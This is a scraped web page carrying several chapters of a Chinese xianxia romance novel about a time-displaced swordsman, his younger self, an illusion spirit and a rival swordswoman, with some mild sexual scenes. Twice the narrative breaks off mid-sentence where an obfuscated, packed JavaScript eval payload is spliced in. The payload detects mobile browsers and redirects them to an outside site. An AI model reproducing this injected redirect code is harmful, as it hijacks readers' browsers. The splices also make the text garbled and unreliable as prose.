吃糖的时候时栎只看着他笑,自己却不碰,冷酷的剑宗大师兄从不吃糖。 长大后他就渐渐模糊了一切喜好,他的所有行为都是做给人看,恐惧藏起来,愤怒藏起来,所有让这身银袍不体面的东西通通藏起来。 他只需要拿一把剑,立在那里,供人描摹观赏。 有一颗糖就好了。 幻妖绞尽脑汁,只能想到昨夜吃了糖的自己。 于是他捧起时栎的脑袋,注视着那双有些暗沉的眼睛,垂头吻了上去。 幻妖的吻还很生涩,时栎没教过他,他们只轻轻勾过手指。 可反应过来的时栎竟然反手将他按下,唇刚撬开便长驱直入,熟练得好像已经拥吻过无数次。 穿了喜服的人总想要往喜床上摔,跌跌撞撞拌倒了椅子,弄碎了花瓶。 幻妖承受不住这样激烈的吻,他只有一丝小小的神魂在跃动,却倏地被纠缠进万缕千丝织就的绵绵情网。 脑内的震颤带来身躯由内及外的酥痒,他向后陷进柔软的床榻,双手被按到两侧,时栎倾身覆上,那双幽深的眼眸望向他,似乎下一刻,就要将他蚕食殆尽。 …… 远在玄清门的时栎伏在案前誊抄了一夜剑招,只差最后一笔,却倏然全身一震,在纸上留下了一道奇长的墨痕。 他静坐不动,捏笔的指节却已泛白,眼底逐渐浮起一丝异样。 识海一时有千浪奔腾拍岸,又忽而柔情辗转,细雨淅淅,火中炸开的花,天外狂吹的雪,所有可以乱他心魄的东西齐齐涌了上来。 这阵仗,就差贴他耳朵边告诉他。 他的神魂,在外面,动情了。 4. 撞良宵(三) 幻妖还太懵懂,时栎只得放低声音,哄着他张嘴,教它如何取悦自己,怎么将腿缠上腰。 这丝纯净的神魂已经学会了亲吻,热情又生涩地迎合他,满帐红绸晃了时栎的眼,他看到这张脸上的情动,早忘了自己身处秘境,依稀好像回到了过去。 他有太久没吻过这张脸,明明最熟悉无比的眉眼,却像隔了一层朦胧旖旎的雾,遍寻不得,久拨不散。 这时,一把剪刀突兀地飞过来,时栎瞬息捞起身下人翻转到内侧,剪刀堪堪贴着两人脸扎进榻中。 他扯了一旁散落的喜袍遮住幻妖,地上断剑破窗而出,门外传来妖鬼尖利的惨叫。 时栎盯着窗外沉思,忽觉唇上一软,幻妖对门外异象毫无反应,又缠了上来。 他把人往怀里抱了抱,指节绕上发丝,有一下没一下跟他亲着,夸道:“脑子好用,学什么都快。” 这一夸,就让幻妖记起不久前被说傻,时栎既没道歉,也没哄他。 他正想着,时栎却开始给他穿衣服,边穿边解释:“我们进来该见血,要么你的要么我的,门外小鬼等着吃肉,却只听了场春宫,生气了。” 幻妖不管这些,时栎边给他系衣带他就边弄乱,直到时栎突然扶住他的肩,无比认真地看着他说:“我会想你的。” 他一掌拍到了时栎脑门上。 不久前还酥软成水的神魂忽然精神起来,在幻妖体内跃动,极力叫嚣着愤怒。 他和时栎形影不离,时栎的口吻却像是马上要离他而去。 时栎一愣,见幻妖那双原本平静的眼眸浮起怒意,却说不出话,他笑了笑,抓着幻妖的手替他骂:“混蛋,春宵一度,始乱终弃,明天我就忘了你。” 骂出来了,幻妖心情好些,时栎表情却阴森下来,目光幽幽盯上他,“你要忘了我?” 说着,抓他手的力道越来越大。 幻妖自己都还生气,默默偏过头,不理他。 那把断剑在窗外杀完鬼,自己飞回剑鞘,血淋淋的,仍躺在地上。 它都不知道自己擦自己,幻妖太嫌弃了,准备想办法让时栎放弃这个不讲究的宝贝,有华景还不够吗? 只是不等他动作,时栎就把断剑捞起来塞进他手里,命令道:“擦干净。” 那上面都是血污,幻妖不愿意,正要把剑丢地上,时栎捡起一旁的盖头,边往他手上塞边抱怨: “让你腰抬高些知道听话,擦个剑反而不乐意,只喜欢那些不正经的东西。我看你爱那档事胜过爱剑,不如这样,回去以后他一练剑你就缠住他,让他堕落,你们谁也不擦剑,让华景锈死在房里。” 幻妖被他讲得一阵懵,神魂更加愤怒地跃动。 他只是不想擦这把来历不明的脏剑,却连人格都快被时栎否定透顶了。 他气冲冲坐到一边,抽出断剑,拿起盖头开始擦,努力想把上面的脏血拂净,却留下一道道擦痕,看起来更脏了。 时栎倚在门边看他,目光深沉,似乎在犹豫。 想带他走。 离开秘境,从星纪六年去到星纪九年。 这么做的话,这个年月的时栎就会失去这丝神魂,可他什么都有,少一丝神魂又能怎么样? 他拿出那张银鬼面,缓步朝幻妖走近。 幻妖努力半晌都没把剑擦干净,狠狠把盖头丢到地上。 他开始苦恼,他得想办法向时栎证明,自己绝对爱剑胜过爱那种事。 忽而面上一凉,时栎扣着他的脑袋,将那张银鬼面戴到了他脸上,朝他伸出手,“走。” 幻妖疑惑,但还是抓住了他的手。 秘宝给了该给的人,整个秘境都开始一点点瓦解,时栎牵着幻妖往外走,有意避开正厅那些人。 眼看秘境消失,喜堂那壮汉开始狂怒:“我就知道!我就知道!又是他!天杀的气运,鬼碰到他都得变断袖!” 女修抱着剑,沉默看着四面场景瓦解,露出洞穴的石壁。 她眼神在四处探寻,忽然一顿,发现前方拐角处掠过两道身影。 其余几人都准备离开了,那傀冥宗小修还在嘟囔:“我还当多厉害呢,什么也没有嘛。” 青年在一旁给他解释:“方才断袖鬼叫走他时,我们都能上去夺宝,但那位的本事大家也都知道,到时候宝夺不过来,得罪了玄清门,以后还怎么在星界混?” “玄清门?”小修不屑,“得罪他们怎么就不能在星界混了?” “我的小公子,傀冥宗是天玑大宗,你自然什么都不怕,我们这些小门小派立世本就不易,可不敢胡乱招惹人家玄清门……” 秘境消散,他们都换回了原本的衣服,看到小修那一身紫袍,青年眼神愈发明亮,陪着笑,替他踹开前方石子,一同向外走。 壮汉骂骂咧咧起身,瞥了女修一眼,见她一身普通黑衣,并无什么突出的门派标志,便完全没了结交的想法,自顾自向外走,准备追上傀冥宗那位。 _ 时栎避开众人,带幻妖到了最开始出现的洞穴。 不久前打斗的石台上还留着未消散的血迹,尸体却不翼而飞。 时栎环顾一周,“奇怪,人呢?” 幻妖顺着他的视线去看,只看到一滩脏血,不由再次嫌弃地皱起眉。 时栎今天怎么把自己弄得这么脏。 先前在秘境都穿喜服,刚出来,幻妖就注意到时栎身上的血污,不情不愿松开他的手,又强忍着,拿剑柄扒开他的衣服看有没有伤。 直到时栎说:“我没事。”他才收回剑,却怎么也不愿再牵手了。 时栎绕着洞穴看了一大圈,每一个缝隙都没略过,就是找不到那具不翼而飞的尸体。 这时,外面传来脚步声,越来越近,有人过来了。 幻妖感应到什么,眼眸微动,正要动作,时栎就抓起他一跃跳上石壁,躲进了一处暗隙。 外面人已经走到拐角处了,听脚步声是两人同行,时栎微侧过身,正欲查探,一道声音突兀地响了起来,“你当真在这里见过我?” 他倏然抬眼,抓住准备冲出去的幻妖,低声说:“别动。” 另一人答:“千真万确!我看见他们拐到这儿了,少君你手里还牵着一个人呢。” “牵着?” 女修坚定点头,黑眸熠熠,“我不可能看错。” 另一人没再说话。 两人拐了弯,走到洞穴深处。 看到满地血污,女修啧啧两声,又道:“看来他们妖鬼自己内讧,变成少君你的模样不说,跑到这里还打了一架。” 那人仍不语,抬眸扫过一洞腥血,忽而跃身,落到石台上一处干净的地方。 他环视整个洞穴,最终盯上石壁的一处暗隙。 黑影处藏了人,在注视着他们。 两道视线间隔半个洞穴相望。 时栎看向石台中央那个人。 黑发玉冠,窄袖银袍,淡蓝色的眸望向涌动着剧烈血气的暗隙,手握上了腰间佩剑。 几乎是瞬间,时栎推开幻妖,断剑横于胸前,挡住了袭来的剑尖。 有东西落地,女修下意识去接,却在看到幻妖的脸时一阵迷糊。 “……少君?不对,是妖鬼!” 幻妖摸摸自己脸,发现时栎不光推他下来,还把送他的面具给摘了。 他不满地看向石壁方向,那边已经过上了招,一明一暗,双剑相击。 这边女修拿剑制住幻妖,见他完全不反抗,一时不知怎么办,只得朝那边喊道:“少君,我抓住这只妖鬼了!你那边如何?” 时栎隐在暗处,那人的长剑越过他的肩膀,扎进了石壁,却不能更近一寸。 少君垂眸,看向抵在咽喉的刃尖,问他:“剑修?” 时栎没出声。 “你缺一把好剑。” 或者说,完整的剑。 少君收剑入鞘,落回了石台。 他避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664647|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开地上血污,越过女修,瞥了眼乱跑的幻妖,淡声道:“走。” 幻妖不走,只看着石壁暗隙处,似有留恋。 少君眼睛紧盯着幻妖,话却是朝那处暗隙:“阁下出来吧,我的幻妖舍不得你,想带你一起回去。” 那边还没动静,幻妖先点了点头。 “……” 女修不知道什么是幻妖,只看这位少君跟妖鬼相熟的样子,剑尖一转,直朝他袭去。 少君不把她放在眼里,随意一挡,却险些被挑了剑。 他一怔,看向女修,“逍遥剑?” 第二招已经攻了过来。 此时的他已是寻境三阶,同岁修者里根本找不到对手,可这女修跟他过了十几招却仍不落下风,甚至有让他败退的趋势。 时栎隐在暗处向下看,心中唏嘘。 看来拜入玄清门前的薛准,就已经有了和他一战的本事。 不论两百岁还是五百岁,这个生于草芥,万剑随心的逍遥剑修,永远能压他一头。 面前忽然出现一张脸,幻妖见他一直不下去,竟然亲自过来拽他。 时栎戴上面具,问幻妖:“怎么跟他解释?” 幻妖眨眨眼。 他不懂需要解释什么,所有神魂都相亲相爱,有什么好解释的? 以后应该能吃到两颗糖。 这边两人正在缠斗,忽然一把断剑裹挟着浓烈的血气袭来。 那剑招凶狠,带了十成的杀意。 只是时栎刚落地抓住剑,就闷哼一声,背部过电似的传来一阵疼,不久前那道雷竟然在这时候发作了。 他僵立在两人间,心陡然沉到底。 他此刻满身血污,脸变得煞白,额前泛起了细密的汗珠。 而他那把凛然霸气的断剑,轻易便被不知谁的剑尖挑落在地。 险些伤到人,女修倏地收起剑,看他这架势,不满道:“这位仙友,没你这样的,没见我与少君正切磋吗?你得往后排!” “……” 时栎不语,现在有另一个问题更值得他在意。 他回不去了。 就在刚才,背部雷痕生效的瞬间,他的境界已经被强制压到了这个年岁时栎的同级,寻境三阶。 这意味着,天地法则默认同一空间里存在两个时栎,自动调和了两人的境界,时栎主,他是从,他的最高境界不能超过时栎。 ……凭什么。 见断剑又摔地上了,幻妖自觉过去捡起来,走到他身边给他挂好。 幻妖虽然不喜欢他身上血污,可看他突然难受的样子,还是贴心地握上他的手,双眸关切地望向他。 两人刚亲近过不久,现在的幻妖正是情感最充沛时,时栎看了他一眼,放轻声音说:“……行了,没事。” 三百年前的少君就在身后,幻妖当着他的面跟自己这样,时栎都不用回头,都能真切感受到那道冰凉的视线。 他沉默片刻,无声地叹了口气。 接着一把推开幻妖,厉声朝前方道:“薛准,你什么意思?” “?” 他语气愤怒,猛推了一下眼前人,“说好咱们里应外合前后夹击,把秘宝从他手里夺出来,你怎么不提前告诉我这个少君是假的?咱们二十年情分,区区小宝物,你竟然想私吞?” “你……”薛准一句“你谁”还没问出来,就又被推着后退一大步。 时栎步步逼近,冷声嗤笑,“我?怎么,没想到我跟妖鬼走了还能活着?你倒聪明,放我来试错,自己反而结识了真少君,薛二花,我以前怎么就没看透你是这种人,趋炎附势,贪财好色,见利忘友,背信弃义!” 边推就边到了拐角,时栎深吸一口气,没理会女修震惊的神情,他现在必须快点离开。 刚走一步,面前石壁忽地扎进一把长剑,剑身银白冷锐,折射的光直对着他的脸。 身后人语气淡淡,只说了一句。 “回来。” 5. 银鬼面 时栎顿住,旋即面无表情转身,却不过去,只跟女修一起立在原地。 薛准还没从震惊中缓过神,快把他下半张脸盯透了,也想不到是什么熟人,只得犹豫着问:“你是谁?如何得知我……的芳名?” “你忘了?”时栎看了她一眼,“我叫时澈,二十年前,麦条村,跟你分馒头那个。” “……我走过太多村了,跟很多人都分过馒头。” 他冷哼,“所以你把我忘了,从你当年掰馒头的时候给我小的、自己吃大的我就看出来,你这种人,不值得深交!” 薛准见他连这都能说出来,不由大惊,“我每次都解释,我是照着一人一半掰的,有时候掰不好也不能怪我,我必须给自己吃大的,不然我会饿的!” “你……” “商量完了吗?”身旁冷冷传来一道声音。 他们不过去,少君自己先过来了,他步步逼近,紧盯着时栎面具后的那双眼,问:“你对我的幻妖,做了什么?” 时栎被他逼得后退,直接靠到了墙上,他先不说话,余光看向一旁的薛准。 在那些短暂而粗浅的印象里,她一向是个拔刀相助的好心人。 好心人的确想帮他,却张着嘴欲言又止。 她实在不知道该说什么。 时栎等了一会儿,暗自叹息一声,迎上面前这道目光,面具下的眼眸中涌起一丝清澈的愚蠢,问:“幻妖是什么?” 旁边薛准一拍手掌,这人问出了她想问的! “那我换个说法。” 少君冷冷勾起唇,抽出扎在他脸侧的长剑,拍了拍他的面具。 剑身冷硬,与金属质的假面碰撞出叮当响声。 “你对我……做了什么?” 两人静静对视。 洞穴幽冷,少君在笑着,那双蓝眸却像蕴了寒潭,其下暗藏着待烧的怒火。 时栎心道,真烦。 继而偏头,隐去面上三分羞涩,轻声道:“哥哥真坏,明知故问。” 少君笑容一僵,“……什么?” “是你先找的我。” “?” “可凶了。” “……” 幻妖这时过来,见两人已然刀剑相向,急忙劝架。 他先抓住少君的手,把华景拿离时栎脸边,再抓起时栎一只手。 接着把这两只手一起举到自己身前,无声地告诉两人,和和气气,不要打架。 两人同时甩开了他的手。 时栎背部雷击的疼痛已经蔓延到了全身,他瞥过这两张一模一样的脸,摆摆手,洒脱道: “不想负责就算了,放我走就行。我也不是那种死缠烂打的人,用不着在这里一唱一和做戏,还反咬我一口。” 幻妖难以置信,时栎竟然还在想着离开,他们本为一体,他能走到哪去? 于是他当着少君的面,猛然出手,一把攥住时栎的手腕,将他抱进了怀里。 时栎一副“你看吧真是你强迫我”的模样,努力挣着他,“你放开我!” 少君一副见了鬼的样子,对幻妖沉声说:“放开他。” 幻妖不放,一旁的薛准好像突然想出了对策,大喝一声: “时……澈!你够了!不要再戏耍少君,人家修的无情剑道,怎么可能跟你有一腿,我看是你自己肖想少君,想迷糊了!” 少君眸光一动。 “放开他,”他看着幻妖,又说了一遍,“再不松手,把你变回萝卜,腌了下酒。” 幻妖一怔,这才不情不愿松开了。 他一丝活生生的魂,被困在萝卜里才是难受的。 少君收起剑,把幻妖扯回自己身边,看了眼兀自揉着手腕的青年,问身旁女修:“你刚才叫他什么?” 这下给薛准问不自信了,毕竟她也才刚知道这人的名字。 她试探着回道:“……时澈?”语罢,迅速拿胳膊肘碰碰他,“是吧?” 时澈不接话。 时栎质疑的目光在他们两个之间巡视,冷声问:“谁派你们来的?” “什么?”时澈抬头,表示听不懂他的话。 “时澈这个名字,”时栎紧盯着他,“谁告诉你的?” 时澈莫名其妙,“我出生就叫这个名字了,还能是谁告诉我,我娘。” “面具摘了。” “摘不了,”时澈给他演示,努力向外拽着,面具贴在脸上纹丝不动,“我从小戴到大,焊脸上了。” 时栎亲自上手,发现的确摘不下来,他对着这张脸打量半晌,忽而身形一转,面向薛准。 “这位同门,剑学得不错,哪位剑尊座下?” 薛准不好意思地挠挠头,“没谁座下,还没拜过师呢,不过我此行的确是要上玄清山,到时候拜完师,就能回答少君你的问题了。” 她语气如常,话说得却狂妄,仿佛认定自己进得了玄清门。 在场的两人却都没质疑,时栎只颔首道:“你的逍遥剑有人教。” 她既没入门,又把逍遥剑学到这地步,只会是某位剑尊留在外面的徒弟,把人教出来了才许拜师。 薛准笑了笑,仍回道:“等过几日拜完师,就能回答少君了。” 时栎点头,不再追问,心中只道,但愿不是贺千秋。 玄清门中,无情与逍遥两大剑道分立,虽然没到水火不容的程度,却时常有竞争。 贺千秋身为逍遥剑道四大剑尊之首,对无情剑道向来贬低打压,十分看不上,当然,时栎也从没看上过他。 无情剑道只有两位剑尊,他师尊凌殷,跟他那位好脾气的师叔,孟清随。 时栎入门那年,无情剑道初见新天,哪里都比不上创立了几百年的逍遥剑道。 两百年来,面对贺千秋百般嘲讽刁难,他师尊硬生生带着他,把刚起势的无情剑道发展到如今可以跟逍遥剑道平分秋色,共立玄清门。 可无情剑道毕竟创立年月短,弟子水平良莠不齐,要在宗门立足,就必须在与逍遥剑道的竞争中占上风。 为此,凌殷专门设了问天岛,用来培养一批顶尖的无情剑修。 天资根骨、身体素质都上佳者,入问天岛,由师徒两人亲自教导,定期考核,末位淘汰。 淘汰掉的弟子会并入孟清随门下,以后只用跟普通弟子一起学剑,不必再经受凌殷剑尊座下的高强度训练。 上岛前都是天骄,在时栎手上过了一遭,却有一半被打上废物的标签,是以玄清门中恨他的不少。 时栎无所谓,无能者才把怒火宣泄在别人身上。 师尊想将无情剑道发扬光大,他知道该怎么做。 他讨厌贺千秋对师尊的态度,虽然不至于摁死逍遥剑道,但也的确见不得他们好。 眼前这女修无论如何都会拜入逍遥剑道,时栎心里清楚,遗憾之余也不免心生警惕。 她如果真进了贺千秋门下,那他和师尊以后的路就难走了。 贺千秋这么久不收徒,就是在等一个机会。 他的首徒,一定要压得过时栎,就像他本人,始终要压过凌殷。 而刚才过招,他们打了平手。 这对时栎来说真不是个好消息。 如果说不久前神魂的异状只让他感到不愉快,那这个女修的出现,就足以让他忌惮。 不过好在祸福相依,他多了一个潜在的对手之余,也多了一个帮手。 “时澈,”他的手放在腰间,摩挲着华景剑柄,看向戴银面具的青年,问,“你跟她,一起的?” 时澈微怔,心头泛起几分异样,见时栎面色如常,心中不禁发笑。 他还真念得出这个名字。 他少时孤单,捡过一颗蛋,孵出了一只小乌龟。 他当时不知道那是只仙蛋,能孵出仙龟。 小龟破壳而出,见到他的第一句话是,“娘亲。”给他吓了个半死。 后来小龟长大,金色小眼珠滴溜溜的,全身晶莹剔透,湛蓝色龟壳灵光满溢。 他当时只是个普通的凡人小孩,手无缚龟之力,每天被这只仙龟追着揍。 仙龟不想被叫龟,非要跟他姓,让他给起个名字。 他凝视着仙龟晶莹剔透的壳,心中立刻有了想法。 既然它的龟壳如此透亮清澈,清莹秀澈,洁净明澈。 那就叫它时壳吧! 有了名字的时壳不揍他了,开始保护他,和他一起窝在破败的小屋里,咬死所有来侵袭的低级妖鬼。 不过后来它被人煮了。 死前,时壳奄奄一息地拿爪子扒他的手指,说,以后再养龟,不要起这么难听的名字,不然等入了轮回,都不好意思跟人家自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664648|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报家门。 然后就脑袋一歪,咽了气。 时栎憋半天,没憋出泪,心里却很难受。 仙龟不在了,那些丑鬼又要来吓他。 他把仙龟埋了,弄了个小坟堆儿,立了个小木牌。 上书:爱龟时澈之墓。 他给时壳改了个好听的名字,祭奠它清澈漂亮的龟壳。 后来他去报仇,报完仇就一直没想过这只龟,毕竟活着已经很累了,他有意识回避一些让人伤心的事。 直到他拜入玄清门,见到了顶峰那只龙首龟身,慵懒而霸气的神兽金鳌。 彼时神兽大人盘旋在星云之上,龙尾轻荡,懒懒枕着爪,狭长的金眸斜睨了他一眼,“呦。” 时栎当时掂了掂自己的斤两,没出声。 两年之后,十六岁的少君携剑冲破天枢星云阵,背着宗门所有人,把高贵的守护神兽暴揍得缩进壳里喊他娘亲。 直到现在,金鳌都以为自己叫时壳。 时澈这个名字,只有时栎自己知道。 时澈轻勾起唇,向前一步,站到了薛准同侧,说:“没错,一起的。” “都去天枢,上玄清山?” “对。” 一旁的幻妖听他这么说,眼眨了眨,手拉着时栎的袖子,不自觉地拽紧了。 太好了,两颗糖。 时栎瞥了他一眼,任他拽着,又看向面前两人,“好,我没问题了。三日后门派招新,我在玄清门等着两位。” 语罢就直接转身,带幻妖离开。 “少君慢走!” 薛准遥遥朝他告了别,低声朝时澈道,“没想到时栎少君这么平易近人啊!非但与我过招,还提前欢迎我们……说起这个,澈兄,你竟然也要去玄清山!” “去。”时澈被她轰得耳朵疼,先问自己关心的,“看你这样子,你很崇拜他?” “废话!哪个学剑的不崇拜他?师父没骗我,无情剑起势果真能破万招,再配上一把好剑,那就是天下无敌!” 她看着时栎离开的方向,嘴角勾起,眼神晶亮,“华景我今日领教到了,不愧是星界第一的名器,连打击感都与寻常宝剑不一样,我仰慕少君这么久,就是因为他执剑时……” 时澈抢答,“太帅,忍不住内心的倾慕之意。” 薛准奇怪地看了他一眼,“那算什么,少君执剑时一身清正,自有一股凛然之气,华景剑这么好,在他手中定能除妖救世济天下,这难道还不值得倾慕?” 时澈没说话,只垂眸,看着自己腰间断剑。 同门整整三百年,他和薛准都不算熟。 从他还没注意到这个新入门的师妹起,她就一路势如破竹,在贺千秋座下大放异彩。 他们第一次正面交锋,薛准的目光是冷的,那把平平无奇的剑横在身前,出鞘,破招,最终抵在他的眼珠一寸前。 伴随着收剑入鞘声,传来一句,“师兄,得罪。” 贺千秋哈哈大笑,第一个起身离开。 台下看客散了,台上师叔们散了,擂台中央,师尊陪他立了整夜。 他习惯了众人的注视,薛准却从来没看过他,她的目光总是平静的,没有挑衅,没有厌恶,更别提现在这种明晃晃的倾慕。 如果入门前的薛准是仰慕他的,那入门之后,又是因为什么对他失望的? 时澈垂眸,笑了一下。 大概是因为她发现华景剑没有那么好,拿剑的人也并不能除妖救世济天下。 他做的一切,都是为了自己。 “澈兄?你有在听吗,澈兄?”薛准见他发呆,正准备撞他一下,时澈突然出手,拽下自己腰间佩剑,带鞘伸到她眼前,问:“你还有劲儿吗?” “?” 薛准拽着剑,把他拽出了洞穴,边往外走边说:“没想到你受伤了啊,路都走不动,不过一定要拽剑吗?我扶着你也行的。” “不用了,”时澈借她的力向外走,背后雷电已经蔓延到全身,此刻他身上由内到外都是针扎似的细密的疼,他真诚道,“怕电到你。” 薛准沉默了一下,“澈兄,虽然我看不清你的脸,你也的确有可能是个美男子,但不是什么人都能带给我过电般的呃呃呃呃呃呃呃……” 时澈收回戳在她背上的手指,“懂了吗?” 薛准:“懂了。” 6. 通灵箓 出了洞,时澈看到四周景象,先前洞里尸体离奇消失的疑惑顿时得到了解释。 远山堆石,周遭建筑错落,黑沉沉一片。 傀冥宗十里之外化骨山,天玑的地界。 不论人还是兽,任何失去生命体征且身体不完整的东西在这里都会被化得烟消云散,融进山林中,做傀冥宗炼制尸傀的养料。 至于完整的尸体,都被炼去干活了,周围这些建筑就是工厂。 工人都是尸傀,它们不需要休息,可以一刻不停地劳作。 星界广阔,奇遇众多,秘境险峰无数,最不缺的就是因各种意外死亡的人。 傀冥宗专门有一组尸傀,每天出门搜寻无人认领的新鲜死尸。 而新炼出的尸傀会被分批送到各厂区,当天开始干活。 以尸养尸,以尸炼尸,生生不息。 傀冥宗靠着这套完备的炼尸流程,收获了大量高强度免费劳力,赚得盆满钵满。 他们已经走到了离工厂最近的地方。 空气中充斥着药物的味道,机器运转声和水滚开的沸腾声交错响着,不远处的建筑顶向外冒着漆黑的烟,表明尸傀们正在热火朝天地劳作。 两人都没有抄小路的自觉,大摇大摆越过工厂,径直下了山。 走到山脚时,天色半昏,山脚有一条清溪,薛准气喘吁吁松开剑,指着块石头跟他说:“歇会儿……不行了,澈兄你饿吗?我去找点吃的。” 流水潺潺,立在湖边都让人感到一股冷意,时澈看了眼溪水,说:“饿,你去吧,我下个水。” “你不带电了?” 时澈撑着剑起身,“把电放水里,就不用留在我身上了。” “这行吗?”薛准好奇地看着他,“那你放,你放完我再去找吃的。” “你还是先去吧,”时澈道,“被一个姑娘看着,我害羞。” “这有什么好害羞的,”薛准催促他,“不就放个电?快点儿,饿死我了。” “……我得脱衣服下水,妹妹,我脸皮薄,你在这儿我施展不开。” 雷电欢快地窜满他全身,时澈呼吸渐重,强忍着道,“再不走,稍后你饿死,我疼死,玄清门一下损失两个济世救人的好苗子,你承担得起吗?” “……” 薛准转身就走。 时澈沉进水底,夜溪寒凉,侵入骨髓的冷意短暂麻痹了他的知觉。 断剑出鞘,贴到背后雷痕处,将残余雷电一丝丝引进了冷水中。 他下水前扯掉了脏污的衣衫,溪水清泠,很快将身躯涤净。 雷电引完,断剑归鞘,最疼的时候捱过去了,他不多待,手搭在溪边发力,正准备上岸,却对上只冷白的银靴。 他顺着抬头,撞进一双垂眸看来的眼睛。 时栎立在岸边,银蛟玉冠将墨发高束,月下那张脸完全露了出来。 他注视着时澈,看面具上缓慢滚落的水珠,疑惑问道:“哪个妹妹,还让你害羞?” 时澈收回视线,没回应他,手搭在溪边发力,从水里出来。 却没想到时栎在他上岸的瞬间出手,抓住他两只手腕,反拧到身后,就势按到了近旁一棵树上。 他此刻上身赤裸,黑发沾过水后垂散而下,湿粘在肌肤上,向下淌着水。 剑修每日挥剑上千下,讲究身法、力度,久而久之,将肩背练出了最美观有力的肌肉。 而此刻他背后,一道焦黑的雷痕自肩胛向下,斜劈在脊背上,细看还有几丝细微的金色电光,配上蓬勃的背肌更显狰狞,一眼望去,只觉触目惊心。 “哪一年渡的劫?” 声音突兀响起,时澈瞬间挺直了脊背。 时栎不知何时解下华景,微凉的剑柄抵上他背后雷痕,不紧不慢,一寸寸勾勒着伤口。 “不说了,”时澈微皱起眉,尽量忽略雷痕按压带来的麻痒,挣着他的手,“说出来怕你难受。放开我。” “这么贴心?”剑鞘游移到腰尾处,雷痕延伸消失的地方,发力重重一敲,时澈一震,身躯下意识向前,却又被糙硬的树身挡住去路。 “……放开。”他又说了一遍,却只换来身后一声嘲讽似的冷笑。 被人这样压制的姿态实在不好受,时澈努力压下心中烦躁,开口,“我们聊聊,你先让我穿个衣服。” “不让,就这么聊。”华景被时栎拿在手里,不知有意还是无意,抵着他的伤口,动一下,戳一下。 时澈忍无可忍,想揍他的心情到达了顶峰。 原先洞里有外人,时栎还给他留些体面,没有当场做什么,现在反倒没有顾虑,来他面前原形毕露了。 “你的幻妖,”时澈回头看他,“知道你这么对我吗?” 时栎冷眼看他,“你还知道那是我的?” “知道啊,”时澈忽然侧身离他极近,也不管手还被拧着,视线落到那张薄唇上,“我不光知道,还先替你尝了尝,他学得怎么样?有没有找你……” 他越说离得越近,两人唇几乎都要碰上,仿佛尝完幻妖还不够,还想胆大包天试试主人的滋味。 时栎神色微冷,狠狠拧了一把他的手腕,跟他拉开距离。 时澈若无其事回身,揉着自己酸痛的手,从乾坤袋里翻出一件不带门派标识的衣服穿上。 素白色外衫,不像他私服那般刺绣精美配饰叮当,甚至还不如玄清门普通弟子的门派服。 平平无奇。 他翻出根发带把黑发随意束起,将脱下的衣冠堆到岸边,指尖聚灵,想唤灵火,没唤出来。 停了一下,再度聚灵,又没唤出来。 于是他从乾坤袋深处翻出个火折子,放嘴边一吹,丢到了那堆衣物上。 小时候玩的,早几百年不碰了。 没想到它根本着不起来。 他捡起来准备再吹一下,时栎不知何时立到他身边,指尖飞出一点灵光,毫不费力点燃了这堆衣物。 时澈面无表情站起身,顺手把点不着的火折子丢进了火里。 火苗狠狠跳动起来,时栎一惊,抓起他急速后撤,下一瞬,砰得一声,炸了。 时栎:“你……” 时澈打掉他的手,“别乱摸,没礼貌。” 时栎本来要松开他,闻言抓他手臂的手直接攥紧,力气大到快把衣料撕破。 时澈奇怪地看了他一眼,“你什么意思?刚才不许我穿衣服,现在不让摸又偏摸……你好坏。” 同样的招数,时栎不吃他第二次,扯了扯唇,“趁你毫无反抗之力,我还可以更坏,想试试?” 时澈立即回答:“不想。”思考了一下,又说:“随便吧,反正你小小年纪也不懂,说不定还要我教……”然后如愿被时栎一把推开。 “刚才那个人,”时栎缓缓抽出剑,“我还以为你会把她杀了。” “这么热心肠的姑娘,杀了干嘛?”时澈抚平被他抓乱的衣袖,握上腰间断剑,银面映了火光,显出晦暗不明的色彩,“我还是对杀你更感兴趣。” 兵刃相击,两人脸离得极近,剑锋摩擦现出火光。 时栎嘲讽他的断剑,故意望向他眼睛,惊奇道:“我第一次知道,这么短也能使出无情剑招。” 时澈面带微笑,提醒他:“小心点碰我的剑,幻妖刚擦干净,弄脏了我还去找你的小萝卜。” 时栎面色阴了阴,银白剑身迸射出更盛的光,“华景都丢了,看来你过得不是一般的惨。” “这倒是,”时澈不否认,“少年无能,老年凄苦,都是报应。” 时栎冷笑,“少时风光,老来落魄,该怪谁,你心里有数。” 时澈跟他说不通,断剑朝他面颊猛地一挑,虚晃一招,跟他拉开距离,收剑入鞘,评道:“幼稚冲动。” 时栎冷嗤一声,“浑噩无能。你到底多大了?” “我多大也不妨碍你现在活着,”时澈看了眼快烧尽的火,又找了点树枝添上,“没事就走吧,过两天门派招新,有你忙的。” “不杀我了?”时栎不收剑,故意拿华景的光闪他的眼。 “留你几天,”时澈摆摆手,“等我恢复好了,取你小命。” “你这样上得了山?”时栎看他不怎么厉害的样子,质疑道,“你现在境界如何?灵力几许?身上那道雷,对你有影响吗?” “你话怎么这么多,”时澈不耐烦,捡起根着火的树枝丢向他,“上不去我不会想办法吗?你……” 迎面飞来一个东西,时澈下意识去接,看到手上借命玉牌时一顿,挑了挑眉,“你给我这个,是想让我现在杀你?” 高阶秘境的宝物,被赠予者能与玉牌主人共享命格,不论灵力还是气运,想借多少借多少。 